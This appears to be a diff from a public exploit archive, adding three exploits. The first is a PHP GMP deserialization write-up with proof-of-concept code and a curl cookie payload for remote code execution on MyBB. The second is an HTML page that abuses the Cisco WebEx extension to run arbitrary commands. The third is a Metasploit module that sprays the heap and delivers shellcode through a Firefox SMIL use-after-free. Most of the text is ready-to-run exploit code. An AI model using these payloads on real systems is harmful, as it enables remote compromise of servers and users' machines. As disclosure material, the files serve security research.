#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
|
||||
|
||||
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20
|
||||
|
||||
> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
|
||||
|
||||
Affected Versions
|
||||
------------
|
||||
Affected is PHP 5.6 < 5.6.30
|
||||
|
||||
Credits
|
||||
------------
|
||||
This vulnerability was disclosed by Taoguang Chen.
|
||||
|
||||
Description
|
||||
------------
|
||||
gmp.c
|
||||
```
|
||||
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
|
||||
{
|
||||
...
|
||||
ALLOC_INIT_ZVAL(zv_ptr);
|
||||
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|
||||
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
|
||||
) {
|
||||
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
|
||||
goto exit;
|
||||
}
|
||||
|
||||
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
|
||||
zend_hash_copy(
|
||||
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
|
||||
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
zend_object_handlers.c
|
||||
```
|
||||
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
|
||||
{
|
||||
zend_object *zobj;
|
||||
zobj = Z_OBJ_P(object);
|
||||
if (!zobj->properties) {
|
||||
rebuild_object_properties(zobj);
|
||||
}
|
||||
return zobj->properties;
|
||||
}
|
||||
```
|
||||
|
||||
It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
|
||||
|
||||
The following codes will prove this vulnerability:
|
||||
```
|
||||
<?php
|
||||
|
||||
class obj
|
||||
{
|
||||
var $ryat;
|
||||
|
||||
function __wakeup()
|
||||
{
|
||||
$this->ryat = 1;
|
||||
}
|
||||
}
|
||||
|
||||
$obj = new stdClass;
|
||||
$obj->aa = 1;
|
||||
$obj->bb = 2;
|
||||
|
||||
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
|
||||
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
|
||||
$x = unserialize($exploit);
|
||||
var_dump($obj);
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
Expected result:
|
||||
```
|
||||
object(stdClass)#1 (2) {
|
||||
["aa"]=>
|
||||
int(1)
|
||||
["bb"]=>
|
||||
int(2)
|
||||
}
|
||||
```
|
||||
|
||||
Actual result:
|
||||
```
|
||||
object(stdClass)#1 (3) {
|
||||
["aa"]=>
|
||||
string(2) "hi"
|
||||
["bb"]=>
|
||||
string(2) "hi"
|
||||
[0]=>
|
||||
object(obj)#3 (1) {
|
||||
["ryat"]=>
|
||||
&int(1)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**i) How to exploited this bug in real world?**
|
||||
|
||||
When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():
|
||||
|
||||
```
|
||||
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
|
||||
{
|
||||
mpz_ptr gmpnum;
|
||||
switch (type) {
|
||||
...
|
||||
case IS_LONG:
|
||||
gmpnum = GET_GMP_FROM_ZVAL(readobj);
|
||||
INIT_PZVAL(writeobj);
|
||||
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
|
||||
return SUCCESS;
|
||||
```
|
||||
|
||||
The following codes will prove this exploite way:
|
||||
```
|
||||
<?php
|
||||
|
||||
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
|
||||
|
||||
?>
|
||||
```
|
||||
Of course, a crafted __wakeup() can also be exploited, ex:
|
||||
|
||||
```
|
||||
<?php
|
||||
|
||||
function __wakeup()
|
||||
{
|
||||
$this->ryat = (int) $this->ryat;
|
||||
}
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
**ii) Can be exploited this bug in real app?**
|
||||
|
||||
Exploited the bug in MyBB:
|
||||
|
||||
index.php
|
||||
```
|
||||
if(isset($mybb->cookies['mybb']['forumread']))
|
||||
{
|
||||
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
|
||||
}
|
||||
```
|
||||
|
||||
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)
|
||||
|
||||
**P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**
|
||||
|
||||
Proof of Concept Exploit
|
||||
------------
|
||||
**MyBB <= 1.8.3 RCE vulnerability**
|
||||
|
||||
index.php
|
||||
```
|
||||
eval('$index = "'.$templates->get('index').'";');
|
||||
```
|
||||
|
||||
MyBB always use eval() function in during template parsing.
|
||||
|
||||
inc/class_templates.php
|
||||
```
|
||||
class templates
|
||||
{
|
||||
...
|
||||
public $cache = array();
|
||||
...
|
||||
function get($title, $eslashes=1, $htmlcomments=1)
|
||||
{
|
||||
global $db, $theme, $mybb;
|
||||
...
|
||||
$template = $this->cache[$title];
|
||||
...
|
||||
return $template;
|
||||
}
|
||||
```
|
||||
|
||||
If we can control the `$cache`, we will be albe to inject PHP code via eval() function.
|
||||
|
||||
inc/init.php
|
||||
```
|
||||
$error_handler = new errorHandler();
|
||||
...
|
||||
$maintimer = new timer();
|
||||
...
|
||||
$mybb = new MyBB;
|
||||
...
|
||||
switch($config['database']['type'])
|
||||
{
|
||||
case "sqlite":
|
||||
$db = new DB_SQLite;
|
||||
break;
|
||||
case "pgsql":
|
||||
$db = new DB_PgSQL;
|
||||
break;
|
||||
case "mysqli":
|
||||
$db = new DB_MySQLi;
|
||||
break;
|
||||
default:
|
||||
$db = new DB_MySQL;
|
||||
}
|
||||
...
|
||||
$templates = new templates;
|
||||
```
|
||||
|
||||
The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.
|
||||
|
||||
When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
|
||||
```
|
||||
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
|
||||
```
|
||||
155
platforms/windows/remote/41148.html
Executable file
155
platforms/windows/remote/41148.html
Executable file
|
|
@ -0,0 +1,155 @@
|
|||
<!--
|
||||
Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.
|
||||
|
||||
The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.
|
||||
|
||||
The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).
|
||||
|
||||
The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.
|
||||
|
||||
Stepping through an initialization, a website must first request that the extension open a port for communication, like this:
|
||||
|
||||
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string
|
||||
|
||||
Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.
|
||||
|
||||
There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":
|
||||
|
||||
document.dispatchEvent(new CustomEvent("message", { detail: {
|
||||
message: JSON.stringify(msg),
|
||||
message_type: "launch_meeting",
|
||||
timestamp: (new Date()).toUTCString(),
|
||||
token: "token"
|
||||
}
|
||||
}));
|
||||
|
||||
I stepped through a meeting and dumped the initialization messages:
|
||||
|
||||
> message.message
|
||||
"{"DocshowVersion": "1.0",
|
||||
"FilterSecParameters": "clientparam;clientparam_value",
|
||||
"GpcProductRoot": "WebEx",
|
||||
"GpcMovingInSubdir": "Wanta",
|
||||
"GpcProductVersion": "T30_MC",
|
||||
"GpcUpgradeManagement": "false",
|
||||
"GpcCompatibleDesktopClients": "",
|
||||
"enableQuickLaunch": "1",
|
||||
"GpcProductDescription": "V2ViRXg=",
|
||||
"GpcUnpackName": "atgpcdec",
|
||||
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
|
||||
"jmtclicklog": "1484862376664",
|
||||
"GpcExtName": "atgpcext",
|
||||
"GpcUnpackVersion": "27, 17, 2016, 501",
|
||||
"GpcExtVersion": "3015, 0, 2016, 1117",
|
||||
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
|
||||
"GpcComponentName": "YXRtY2NsaS5ETEw=",
|
||||
"GpcCompressMethod": "7z",
|
||||
"GpcActiveIniSection": "V2ViRXhfVg==",
|
||||
"GpcSupportPageUrl": "",
|
||||
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
|
||||
...
|
||||
|
||||
There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:
|
||||
|
||||
"GpcComponentName": "YXRtY2NsaS5ETEw=",
|
||||
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",
|
||||
|
||||
If we decode those strings, we get:
|
||||
|
||||
GpcComponentName: "atmccli.DLL"
|
||||
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
|
||||
|
||||
That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:
|
||||
|
||||
$ dumpbin /nologo /exports atmccli.dll
|
||||
|
||||
Dump of file atmccli.dll
|
||||
|
||||
ordinal hint RVA name
|
||||
|
||||
2 2 0001CC11 ExitControl
|
||||
24 3 0001CC83 FinishCall
|
||||
1 4 0001D2F9 InitControl <--
|
||||
23 5 0001D556 NameValue
|
||||
...
|
||||
|
||||
These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?
|
||||
|
||||
I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:
|
||||
|
||||
var msg = {
|
||||
GpcProductRoot: "WebEx",
|
||||
GpcMovingInSubdir: "Wanta",
|
||||
GpcProductVersion: "T30_MC",
|
||||
GpcUnpackName: "atgpcdec",
|
||||
GpcExtName: "atgpcext",
|
||||
GpcUnpackVersion: "27, 17, 2016, 501",
|
||||
GpcExtVersion: "3015, 0, 2016, 1117",
|
||||
GpcUrlRoot: "http://127.0.0.1/",
|
||||
GpcComponentName: btoa("MSVCR100.DLL"),
|
||||
GpcSuppressInstallation: btoa("True"),
|
||||
GpcFullPage: "True",
|
||||
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
|
||||
ExploitShellCommand: btoa("calc.exe"),
|
||||
}
|
||||
|
||||
Unbelievably, that worked.
|
||||
|
||||
Example exploit attached.
|
||||
|
||||
I uploaded a demo here for testing (this URL is secret)
|
||||
|
||||
https://lock.cmpxchg8b.com/ieXohz9t/
|
||||
|
||||
(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)
|
||||
|
||||
https://www.webex.com/test-meeting.html
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Cisco WebEx Exploit</title>
|
||||
<script>
|
||||
var msg = {
|
||||
GpcProductRoot: "WebEx",
|
||||
GpcMovingInSubdir: "Wanta",
|
||||
GpcProductVersion: "T30_MC",
|
||||
GpcUnpackName: "atgpcdec",
|
||||
GpcExtName: "atgpcext",
|
||||
GpcUnpackVersion: "27, 17, 2016, 501",
|
||||
GpcExtVersion: "3015, 0, 2016, 1117",
|
||||
GpcUrlRoot: "http://127.0.0.1/",
|
||||
GpcComponentName: btoa("MSVCR100.DLL"),
|
||||
GpcSuppressInstallation: btoa("True"),
|
||||
GpcFullPage: "True",
|
||||
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
|
||||
ExploitShellCommand: btoa("calc.exe"),
|
||||
}
|
||||
|
||||
function runcode()
|
||||
{
|
||||
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
|
||||
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!document.location.protocol.endsWith("https:")) {
|
||||
alert("document /must/ be served over https");
|
||||
return;
|
||||
}
|
||||
|
||||
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
|
||||
document.dispatchEvent(new CustomEvent("message", { detail: {
|
||||
message: JSON.stringify(msg),
|
||||
message_type: "launch_meeting",
|
||||
timestamp: (new Date()).toUTCString(),
|
||||
token: "token"
|
||||
}
|
||||
}));
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body onload="runcode()">
|
||||
<h1>Running exploit...</h1>
|
||||
</body>
|
||||
</html>
|
||||
281
platforms/windows/remote/41151.rb
Executable file
281
platforms/windows/remote/41151.rb
Executable file
|
|
@ -0,0 +1,281 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
|
||||
'Description' => %q{
|
||||
This module exploits an out-of-bounds indexing/use-after-free condition present in
|
||||
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
|
||||
on Microsoft Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous Gaijin', # Original research/exploit
|
||||
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Mozilla Firefox',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "thread",
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-9079' ],
|
||||
[ 'Bugzilla', '1321066' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'DisclosureDate' => "Nov 30 2016",
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_html(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
|
||||
base_uri = "#{get_resource.chomp('/')}"
|
||||
|
||||
# stuff that gets adjusted alot during testing
|
||||
|
||||
defrag_x = %Q~
|
||||
for (var i = 0; i < 0x4000; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
defrag_y = %Q~
|
||||
for (var i = 0x4401; i < heap80.length; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
|
||||
js = %Q~
|
||||
var worker = new Worker('#{base_uri}/worker.js');
|
||||
var svgns = 'http://www.w3.org/2000/svg';
|
||||
var heap80 = new Array(0x5000);
|
||||
var heap100 = new Array(0x5000);
|
||||
var block80 = new ArrayBuffer(0x80);
|
||||
var block100 = new ArrayBuffer(0x100);
|
||||
var sprayBase = undefined;
|
||||
var arrBase = undefined;
|
||||
|
||||
var animateX = undefined;
|
||||
var containerA = undefined;
|
||||
|
||||
var milestone_offset = 0x90;
|
||||
|
||||
var $ = function(id) { return document.getElementById(id); }
|
||||
|
||||
var heap = function()
|
||||
{
|
||||
var u32 = new Uint32Array(block80)
|
||||
|
||||
u32[4] = arrBase - milestone_offset;
|
||||
|
||||
u32[0xa] = arrBase + 0x1000 - milestone_offset;
|
||||
|
||||
u32[0x10] = arrBase + 0x2000 - milestone_offset;
|
||||
|
||||
var x = document.createElementNS(svgns, 'animate')
|
||||
var svg = document.createElementNS(svgns, 'svg')
|
||||
|
||||
svg.appendChild(x)
|
||||
svg.appendChild(x.cloneNode(true))
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
var node = svg.cloneNode(true);
|
||||
node.setAttribute('id', 'svg' + i)
|
||||
document.body.appendChild(node);
|
||||
}
|
||||
#{defrag_x}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
heap80[i + 0x3000] = block80.slice(0)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < heap100.length; i++)
|
||||
heap100[i] = block100.slice(0)
|
||||
|
||||
#{defrag_y}
|
||||
|
||||
for (var i = 0x100; i < 0x400; i++)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
var exploit = function()
|
||||
{
|
||||
heap();
|
||||
|
||||
animateX.setAttribute('begin', '59s')
|
||||
animateX.setAttribute('begin', '58s')
|
||||
animateX.setAttribute('begin', '10s')
|
||||
animateX.setAttribute('begin', '9s')
|
||||
|
||||
// money shot
|
||||
|
||||
containerA.pauseAnimations();
|
||||
}
|
||||
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
window.setTimeout(function()
|
||||
{
|
||||
worker.terminate();
|
||||
document.body.innerHTML = '';
|
||||
document.getElementsByTagName('head')[0].innerHTML = '';
|
||||
document.body.setAttribute('onload', '')
|
||||
document.write('<blink>')
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
arrBase = e.data;
|
||||
exploit();
|
||||
}
|
||||
|
||||
|
||||
var idGenerator = function()
|
||||
{
|
||||
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
||||
}
|
||||
|
||||
|
||||
var craftDOM = function()
|
||||
{
|
||||
containerA = document.createElementNS(svgns, 'svg')
|
||||
var containerB = document.createElementNS(svgns, 'svg');
|
||||
|
||||
animateX = document.createElementNS(svgns, 'animate')
|
||||
var animateA = document.createElementNS(svgns, 'animate')
|
||||
var animateB = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var animateC = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var idX = idGenerator();
|
||||
var idA = idGenerator();
|
||||
var idB = idGenerator();
|
||||
var idC = idGenerator();
|
||||
|
||||
animateX.setAttribute('id', idX);
|
||||
animateA.setAttribute('id', idA);
|
||||
animateA.setAttribute('end', '50s');
|
||||
animateB.setAttribute('id', idB);
|
||||
animateB.setAttribute('begin', '60s');
|
||||
animateB.setAttribute('end', idC + '.end');
|
||||
animateC.setAttribute('id', idC);
|
||||
animateC.setAttribute('begin', '10s');
|
||||
animateC.setAttribute('end', idA + '.end');
|
||||
|
||||
containerA.appendChild(animateX)
|
||||
containerA.appendChild(animateA)
|
||||
containerA.appendChild(animateB)
|
||||
|
||||
containerB.appendChild(animateC)
|
||||
|
||||
document.body.appendChild(containerA);
|
||||
document.body.appendChild(containerB);
|
||||
}
|
||||
window.onload = craftDOM;
|
||||
~
|
||||
|
||||
# If you want to change the appearance of the landing page, do it here
|
||||
|
||||
html = %Q~
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
~
|
||||
|
||||
if datastore['UsePostHTML']
|
||||
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
|
||||
c = f.read
|
||||
html = html.gsub("<blink>", c)
|
||||
else
|
||||
html = html.gsub("<blink>", "")
|
||||
end
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def worker_js(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload = Rex::Text.to_unescape(p, arch)
|
||||
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
|
||||
c = wt.read
|
||||
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
|
||||
c = c.gsub("NOPSGOHERE", "\u9090")
|
||||
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def is_ff_on_windows(user_agent)
|
||||
target_hash = fingerprint_user_agent(user_agent)
|
||||
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Got request: #{request.uri}")
|
||||
print_status("From: #{request.headers['User-Agent']}")
|
||||
if (!is_ff_on_windows(request.headers['User-Agent']))
|
||||
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
|
||||
send_not_found(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /worker\.js/
|
||||
print_status("Sending worker thread Javascript ...")
|
||||
worker_js(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /index\.html/ or request.uri =~ /\//
|
||||
|
||||
print_status("Sending exploit HTML ...")
|
||||
exploit_html(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue